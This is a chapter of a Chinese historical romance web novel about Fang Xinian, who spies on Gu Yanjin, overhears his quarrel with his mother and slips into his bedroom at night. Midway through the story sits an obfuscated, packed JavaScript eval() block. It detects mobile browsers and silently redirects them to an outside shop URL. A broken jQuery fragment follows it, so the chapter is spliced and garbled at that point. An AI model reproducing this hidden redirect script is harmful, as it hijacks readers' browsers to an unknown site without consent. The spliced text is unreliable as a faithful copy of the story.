房惜念一脚踩在他的脚尖上,痛得熊孩子捂脚原地蹦跶。
等熊孩子反应过来,一抬头,发现他香香的叔母不见了!
宋跃抱胸:“别看了,人早跑了。”
姑承允见他冷着一张脸,还要去找小叔,防止打扰房惜念去勾引小叔,一把勾住他的脖子往后拉:“宋跃,都来避暑了还那么认真干什么,爷带你去玩蛐蛐。”
宋跃臭着脸,一掌推开他:“放开!”
月光之下,二人有来有回的推搡,愣是没让宋跃找上姑衍烬。
房惜念偷偷跟在姑衍烬身后,他走一步,她走两步,为防止被发现,手拿两只树枝挡在面前,对方一旦有停顿动作,她立马跑到假山后边躲起来,却没注意到,她躲进假山后,被风浮起一小片裙摆暴露了位置。
姑衍烬沉默看着,并未去揭穿她,渐渐眼中浮现几许意味,但这意味很快被来人打断。
房惜念再次探出脑袋时,原本还站在花园中央的姑衍烬已然不见,她拿着树枝走出来,一时有点儿傻眼,腿长走路这般快,眨眼间就没影子了。
她不信邪,估摸着就两条路,她往姑衍烬原本站的位置选,寻过去。
她正想着等找到姑衍烬,如何暗中给他使绊子,让他知道知道,她房家女儿不是那般好惹的,正恶狠狠的想,下一刻她看到什么,躲进花丛里,拿着树枝挡住头。
贵妇口中责怪:“你兄长得圣意外派,配合御史大夫暗中私访,以防当年惨案有漏网之鱼,你为何不随同大郎去?”
姑衍烬不作回答,垂下昏暗的眸,摆动垂沿的宽袖。
“你长大了,翅膀硬了,可以飞出去胡作非为,不再听母亲的话是不是?”
“你就这么容不下你兄长?”
姑夫人见他毫无反应,眼眶微红湿润,她低头抹去眼角的泪,面露失望,好像他是极为忤逆的不孝子。
姑衍烬笑出来,低哑声音透出无畏:“是啊母亲,我就是容不下他,他的生死对我来说,并不重要。”
那位雍容华贵的夫人,二话不说给他一巴掌,清脆响声吓跑房惜念面前的萤火虫,树枝分开狭缝,让她更清楚看到姑衍烬不动如山的身姿,仅仅一巴掌,也没能低头半分。
这样偷听别人讲话不太好,何况她还亲眼看到姑衍烬被打,若是被他知道自己在这偷听,自己吃不了兜子走,想到这,她鼓着心跳声,屏住呼吸小心翼翼地往后退。
“他是你兄长,你怎能如此讲话,这就是你一直不归家的原因吗?”姑夫人气的手抖,懊恼怎么就生出这般刺头的儿子来。
姑衍烬对上母亲失望的眼睛,面色僵硬,他扯唇一笑,没解释:“不用三番两次提醒我,我知道他是我兄长,我和兄长是亲兄弟,根源血脉相连,母亲自小教导我,没忘。”
姑夫人一愣,看着他半晌,攥了下手帕:“娘希望你和大郎兄恭弟敬。”
“母亲对兄长诸多忧心,儿子自小看在眼里。”姑衍烬低声几乎平静。
姑夫人脸色僵硬:“二郎,娘对你同样忧心。”
她看姑衍烬脸上多出来的巴掌印,试图摸向他的脸,却在空中停顿下来:“是为娘对你严厉些,但不代表我不把你放下心上,衍烬,多回家同母亲用膳,母子没有不同堂吃饭的道理。”
姑衍烬看她退缩的手,唇角勾起嘲讽之意。
他的嘲讽,刺痛姑夫人的眼睛,她声音颤抖:“二郎我...大郎自小体弱不能习武,你武艺高强却让人省心。”
姑衍烬面无表情听着,听惯这些话自是没什么表态,听不出情绪道:“母亲还有事吗?无事的话,回去早点休息。”
旁晚,姑衍盛陪同徐夫人一同下棋,回头瞧见母亲脸色很不好地回来,他起身过去把人扶进来。
“娘,你去找元盼,元盼是气你了?”
姑夫人面色憔悴:“他在怪我,心中有怨怼。”
姑衍盛思绪:“元盼自小不在你和爹身边,如今自是有了想法,我想他不会真怪你。”
“你体弱不能习武,他打小身强体壮,一年半载落个水也不会生病,就算得了风寒,次日醒来便能好,如此让人省心倒让我忽视了他。”姑夫人接过丫鬟递来的凉茶,蹙起眉。
姑衍盛点头:“回头我与他多谈心便是,元盼需要家人关心。”
..
房惜念拿着树枝不断退啊退,退到一定程度,她拿手袖抹了下额头的冷汗,眼看四周无人,她起身赶紧走,绕到花园假山之地,迎面撞上一堵结实的肉墙。
来人的掌心扶稳她腰身,炙热灼烫她腰肉,她用力推开对方,忙往后退上好几步。
看清对方是谁后,房惜念一阵心虚,用树枝指着他:“你等着,我不会放过你的!”
姑衍烬看着她,目光落在歪下去的树枝叶,再移到她惊慌的脸上,有意朝她靠近:“你要怎么不放过我?”
他立身在前,像一座耸立的山遮去月亮洒下的光,覆下他的身影,眼前陷入阴暗,房惜念有意和他保持距离,身前却能感觉得到他身上传来的温度。
一呼吸,就是他身上独属的气息,清冽冷淡的。
姑衍烬夺走她手里的树枝,指尖在树枝上抚下,眼神幽深,目不转睛凝视她:“我对小打小闹没兴趣。”
房惜念深呼吸,壮起胆子斜视他:“谁和你小打小闹,你辜负我姐姐的事,我都知道了,我不会就此算了的。”
姑衍烬动作一顿,姐姐?
房惜念瞥他一眼又一眼,树枝在他手中好生把玩,眼神却直勾勾盯着她,不知怎地,肌肤浑然起了一阵麻感,她不知所措地往后退,头也不回的跑远。
姑衍烬看着她消失在夜晚道路里,放下树枝,凌厉侧脸隐入夜色里,看不清神情,他低眉,把玩手中的树枝。
宋跃一到,手里被塞进一支潦草的树枝,姑衍烬动身越过他:“去探房惜念最近和谁往来,”语调停顿,思绪片刻:“是否恢复记忆,恢复多少。”
宋跃看主子的表情,大概猜出房惜念那家伙又做出让人匪夷所思的事情来。
此时,房惜念回到自己的小院,就看见姑承允被五花大绑捆在树上,看见她来,疲惫的眼睛瞬间发光发亮,溢出满满当当的泪水,特别委屈可怜的呜呜起来。
房惜念拿下他嘴里的手帕,一声震耳欲聋的哭喊直把她逼退几步:“惜念,你怎么才来啊,我要被蚊子咬死了,你要是再晚回来,我就要失血过多,晕过去了!”
太吵了,她直接捏住姑承允的嘴巴,拍拍他的脑袋:“别吵,我给你解绑。”
“呜呜!”姑承允睁着被拯救的闪亮眼,嘴巴被松开,也不闲着。
“怎么样,惜念,你成功勾引到我小叔没,他心情不好,你怎么纾解他的心情,是不是嘴都亲上了。”
房惜念手被气抖了,看着手里解开一半的粗绳,直接用力拉紧,哪壶不提哪壶,不说这个她就不来气。
“姑承允,你就是皮痒了!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790885|209330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“痛痛痛!祖宗,我错了我错了!”姑承允哽咽。
欺负他叔不成,还不能拿小的撒气,房惜念鼓起脸,一脚踩在树身上,再用力一拉:“还敢不敢乱说话,信不信我把你给勒没气!”
“嗷嗷嗷,不敢不敢了!”
“我告诉你,我和你小叔不可能,这辈子都不可能!明白没!”
“明白明白,你和我小叔不可能!”
“我和你小叔有血海深仇!”
“嗯嗯,血海深仇!”
“什么?”
姑承允反应过来,扭身去看憋红脸的房惜念,还在用力的气喘吁吁,满眼惊愕:“什么血海深仇,我怎么听不明白。”
房惜念松开粗绳,看着眼前还在装傻充愣的姑承允,对他大失所望:“我一直以为,你把我当朋友,没想到你一直想利用我。”
姑承允差点跪下来发誓,他摇头:“我不是,我没有,我发誓!”
房惜念揪过他的手:“那我问你,在我失忆之前,我们认识且关系匪浅是不是。”
姑承允一本正经,眼神看起来毫无破绽:“不是。”
撒谎撒太多次,连他都差点信了,只能先对不起叔母了。
他不说实话,那只能由房惜念自己去见证,半夜寂静,玉华宫几乎所有人熄灯歇下,锦衣卫提灯轮班上岗巡逻,房惜念需要避开他们的视线,偷偷潜入姑衍烬的寝室。
一切进行格外的顺利,顺利到她一出现,锦衣卫就消失了。
月光洒下,斜着窗贝透进姑衍烬的寝室,晕开一片光色,房惜念小心翼翼推开窗贝,提起裙摆爬上窗沿,探出脑袋去看里屋的人。
床榻上的男人好像听见动静,吓得房惜念赶忙躲在窗壁下,用备好的树枝挡在头顶,里头传来脚步声,走到窗户前就消失了。
房惜念下意识屏住呼吸,完全不敢抬头看,心跳在耳边打鼓,一下比一下快,一下比一下响,她好怕被一墙之隔的姑衍烬听到,尤其是没关窗户,很容易暴露。
她憋红了脸,放缓呼吸,冷汗浸湿单薄纱衣,姑衍烬好像没发现她,把窗户一关,脚步走远。
房惜念重重松口气,暗自窃喜,她这么大的活人都没发现,姑衍烬也没那么厉害嘛。
她蹲在地上片刻,里面没动静了,她又爬起来去偷偷开窗,介时一阵风将手里的窗门脱离,单边撞回去,发出好大一声响,吓得她连忙蹲回去,把树枝挡在头顶。
姑衍烬翻身而起,再次来到窗户前,修长手指搭上快撞歪的窗门,意味深长来一句:“怪了,窗长脚了。”
等窗户再次关上,房惜念直接站起来,却不知她这一站,身影倒映在窗户上,在里头暴露得一览无余,她悄悄再次打开窗户,这次很顺利的跨越窗沿,脚尖触碰砖石,鬼鬼祟祟关上窗门。
她摸着黑转过身,接着月亮镀进来的光,轻手轻脚朝姑衍烬床榻走去。
结果一不小心踩在他的鞋靴上,脚一扭,重心不稳地扑到姑衍烬的怀中,他低声一哼,闻声她大惊失色,对上他眼睛瞬间,掌心捂住他。
她不知道‘姐姐’脾性,但应是温柔的,她软声道:“烬郎,一别数年,今儿我入梦来,你可觉打扰?”
姑衍烬沉默片刻,没有拿开她的手:“夫人要来,自是不会打扰。”
房惜念看他有模有样,一看还真那回事,半点没有做贼心虚的模样,不过教训人自是不能操之过急,要循循善诱之,再一击毙命。